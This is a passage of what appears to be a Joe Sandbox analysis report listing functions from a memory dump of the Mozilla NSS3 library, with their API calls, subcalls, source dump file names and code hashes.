
TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CB9B60F,00000000), ref: 6CB95003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CB9B60F,00000000), ref: 6CB9501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CB9B60F,00000000), ref: 6CB9504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CB9B60F,00000000), ref: 6CB95064

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: c9f410f683f50083c777bb766cd2150f3f13bc9bca785b78bec9adc2fb54ccb6
Instruction ID: c3ea596a95305c43ab5726561e38ff1028a16178af7355f57173485aa111b574
Opcode Fuzzy Hash: c9f410f683f50083c777bb766cd2150f3f13bc9bca785b78bec9adc2fb54ccb6
Instruction Fuzzy Hash: AB3127B4A05646CFDB00EF68D48466EBBF8FF09305F108629D859D7700E731E894CB92

Function 6CB51EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CB54C64,?,-00000004), ref: 6CB51EE2

Part of subcall function 6CBB1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CB51D97,?,?), ref: 6CBB1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CB54C64,?,-00000004), ref: 6CB51F13
DER_DecodeTimeChoice_Util.NSS3(?,6CB54CA0,?,?,?,?,?,?,00000000,00000000,?,6CB54C64,?,-00000004), ref: 6CB51F37
DER_DecodeTimeChoice_Util.NSS3(?,6CB54C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB54C64,?,-00000004), ref: 6CB51F53

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: b328b8c8b594ef1e3b311c0c8b82bd899128bbca526be5bd49a4433e4c872b7d
Instruction ID: 9277753c29fb94c055c854df57b744cd45ee8692c6bc6e3dd1d9fb8f8e7e3118
Opcode Fuzzy Hash: b328b8c8b594ef1e3b311c0c8b82bd899128bbca526be5bd49a4433e4c872b7d
Instruction Fuzzy Hash: 7F218471504396AFC700CE2ADD40A9BB7E9FB84699F480929E854D3A40F731E569CBE3

Function 6CBB9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBBA71A,FFFFFFFF,?,?), ref: 6CBB9FAB

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CBBA71A,6CBBA71A,00000000), ref: 6CBB9FD9

Part of subcall function 6CBB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CBB136A
Part of subcall function 6CBB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CBB137E
Part of subcall function 6CBB1340: PL_ArenaGrow.NSS3(?,6CB4F599,?,00000000,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?), ref: 6CBB13CF
Part of subcall function 6CBB1340: PR_Unlock.NSS3(?,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CBB145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CBBA71A,6CBBA71A,00000000), ref: 6CBBA009
PR_SetError.NSS3(FFFFE013,00000000,6CBBA71A,6CBBA71A,00000000), ref: 6CBBA045

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 93700bf309bef52a351caffc2529abf0ce83a339576009a787744c8fd23ad6c8
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: C021AFB4A00246ABF7009F15DC50F7AB7ADFB84358F148128D82997B81EF75E818CB91

Function 6CBC2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBC2E08

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CBC2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CBC2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBC2E95

Part of subcall function 6CBB1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB588A4,00000000,00000000), ref: 6CBB1228
Part of subcall function 6CBB1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBB1238
Part of subcall function 6CBB1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB588A4,00000000,00000000), ref: 6CBB124B
Part of subcall function 6CBB1200: PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0,00000000,00000000,00000000,?,6CB588A4,00000000,00000000), ref: 6CBB125D
Part of subcall function 6CBB1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBB126F
Part of subcall function 6CBB1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBB1280
Part of subcall function 6CBB1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBB128E
Part of subcall function 6CBB1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBB129A
Part of subcall function 6CBB1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBB12A1

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: dfa03882ed4aae0cc3b515527b3261ea9a07e646e162568c1ffab4e97c06621e
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 3A21C2B5E103C64BEB00CF549D44BAA3664AF9130CF151269DD187B642FBB1E69882A3

Function 6CB7ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CB7ACC2

Part of subcall function 6CB52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB52F0A
Part of subcall function 6CB52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB52F1D

Part of subcall function 6CB52AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB50A1B,00000000), ref: 6CB52AF0
Part of subcall function 6CB52AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB52B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CB7AD5E

Part of subcall function 6CB957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB5B41E,00000000,00000000,?,00000000,?,6CB5B41E,00000000,00000000,00000001,?), ref: 6CB957E0
Part of subcall function 6CB957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CB95843

CERT_DestroyCertList.NSS3(?), ref: 6CB7AD36

Part of subcall function 6CB52F50: CERT_DestroyCertificate.NSS3(?), ref: 6CB52F65
Part of subcall function 6CB52F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB52F83

free.MOZGLUE(?), ref: 6CB7AD4F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: f835c249ddd3d5a5629fc016d2e22a85e59705a6457f43a3c5280df54b1bb844
Instruction ID: 1fa3c39c718bd00a19c664c2af3f8ddd5c02bb28c2f6fc1805d2618b5a1e6855
Opcode Fuzzy Hash: f835c249ddd3d5a5629fc016d2e22a85e59705a6457f43a3c5280df54b1bb844
Instruction Fuzzy Hash: 1D21D1B1D012548BEB20DFA4D9055EEB7B4EF05248F455068DC19BB700FB31EA59CBB2

Function 6CBA3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBA3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CBA3CAE
PR_Unlock.NSS3(?), ref: 6CBA3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CBA3D02

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f04251c522daf52e291048b917151568a6f985da0dddbcc8d54d353455c662f3
Instruction ID: 646bd1f66ac3a59de612e982080722ad32bd707b1bda507492b31813f2856b56
Opcode Fuzzy Hash: f04251c522daf52e291048b917151568a6f985da0dddbcc8d54d353455c662f3
Instruction Fuzzy Hash: 5E11E679A04254AFDB00EF64EC48E9A3778EF09368F154065ED488B712E731ED45CBE1

Function 6CBAECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CBAF0AD,6CBAF150,?,6CBAF150,?,?,?), ref: 6CBAECBA

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CBAECD1

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CBAED02

Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CBAED5A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 3f2e4ae099e01c2f6d3b03e52ce2c1a812d405369eed5128450612488fa0de89
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 722104B1A047C25BE700CF21D904B6AB7E4FFA4308F15C216E85C87661FB70E5A1C6D1

Function 6CBDEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CBC7FFA,?,6CBC9767,?,8B7874C0,0000A48E), ref: 6CBDEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CBC7FFA,?,6CBC9767,?,8B7874C0,0000A48E), ref: 6CBDEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CBC7FFA,?,6CBC9767,?,8B7874C0,0000A48E), ref: 6CBDEE14

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

memcpy.VCRUNTIME140(?,?,6CBC9767,00000000,00000000,6CBC7FFA,?,6CBC9767,?,8B7874C0,0000A48E), ref: 6CBDEE33

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 126365c6657fe106dc7d0c104f2527983b61f275675c43d40a864939fdd67b2f
Instruction ID: 98ad7acb2902de9d99fde54acbdec18872e4c242baa48c03cca53e213e4ee90e
Opcode Fuzzy Hash: 126365c6657fe106dc7d0c104f2527983b61f275675c43d40a864939fdd67b2f
Instruction Fuzzy Hash: 3311C2B1A007D7ABEB509EA5DC84B0AF3A8EF0435DF224535E91982A00E731F464C7E2

Function 6CB5DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CB706A0: TlsGetValue.KERNEL32 ref: 6CB706C2
Part of subcall function 6CB706A0: EnterCriticalSection.KERNEL32(?), ref: 6CB706D6
Part of subcall function 6CB706A0: PR_Unlock.NSS3 ref: 6CB706EB

CERT_NewCertList.NSS3 ref: 6CB5DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CB5DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CB5DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB5E029

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 8085aba660f994c2127053cc622bfea8f342df3f5a9729c371be8d4bed16a8d0
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 3E110C71A043C66BDB111EA95C45BAF76ACEB4435CF8C0534E918C7700E77AD83597E2

Function 6CB78DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB78DE7
EnterCriticalSection.KERNEL32 ref: 6CB78DFC
PR_Unlock.NSS3 ref: 6CB78E2D
PR_SetError.NSS3 ref: 6CB78E49

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 7d2e942761b49f601974c3843eb41897db72fdcac5d3a5b972a7e2d7568a006a
Instruction ID: 2c778ed3397839f470c231120e5caf5be1246a3dd179b164546faf8724a76437
Opcode Fuzzy Hash: 7d2e942761b49f601974c3843eb41897db72fdcac5d3a5b972a7e2d7568a006a
Instruction Fuzzy Hash: 4B116A71A09A519BD700AF78D5882AABBF4FF05354F014929DC98D7B00E731E8948BD2

Function 6CC198D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC19946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAD16B7,00000000), ref: 6CC1994E

Part of subcall function 6CAD1630: TlsGetValue.KERNEL32(00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CAD1659

free.MOZGLUE(00000000), ref: 6CC1995E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: 9980448ca24977f6710e1b2b4e764a8305eed666ed2a483b9db25a56c3fbf4b5
Instruction ID: a567382fd85f9beca00fe531a850530f01dfaf3a8ec986601c347bc17d9af0b8
Opcode Fuzzy Hash: 9980448ca24977f6710e1b2b4e764a8305eed666ed2a483b9db25a56c3fbf4b5
Instruction Fuzzy Hash: 9101AD71748601ABD720AFAAAC0976B7AF8BB06B19F04443AE549D3E40EB70A104CB91

Function 6CBFAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CBE5F17,?,?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBFAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CBE5F17,?,?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBFACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBFACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBFACDB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 43f3bbd799bf4ebd4d3adfc5776fab6a7242883fd808bb1ab3ea612d061f19a4
Instruction ID: 308dbd3973e1dbb361cd05bcf05f945a11d4bd8ce04ffb5b6fbf361d87a1a2c8
Opcode Fuzzy Hash: 43f3bbd799bf4ebd4d3adfc5776fab6a7242883fd808bb1ab3ea612d061f19a4
Instruction Fuzzy Hash: 900169B1701B429BE710DFA9E908757B7E8FF00659B004839D86AC3B00E731E459CB91

Function 6CB61DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CB61DFB

Part of subcall function 6CB595B0: TlsGetValue.KERNEL32(00000000,?,6CB700D2,00000000), ref: 6CB595D2
Part of subcall function 6CB595B0: EnterCriticalSection.KERNEL32(?,?,?,6CB700D2,00000000), ref: 6CB595E7
Part of subcall function 6CB595B0: PR_Unlock.NSS3(?,?,?,?,6CB700D2,00000000), ref: 6CB59605

PR_EnterMonitor.NSS3 ref: 6CB61E09

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

Part of subcall function 6CB5E190: PR_EnterMonitor.NSS3(?,?,6CB5E175), ref: 6CB5E19C
Part of subcall function 6CB5E190: PR_EnterMonitor.NSS3(6CB5E175), ref: 6CB5E1AA
Part of subcall function 6CB5E190: PR_ExitMonitor.NSS3 ref: 6CB5E208
Part of subcall function 6CB5E190: PL_HashTableRemove.NSS3(?), ref: 6CB5E219
Part of subcall function 6CB5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB5E231
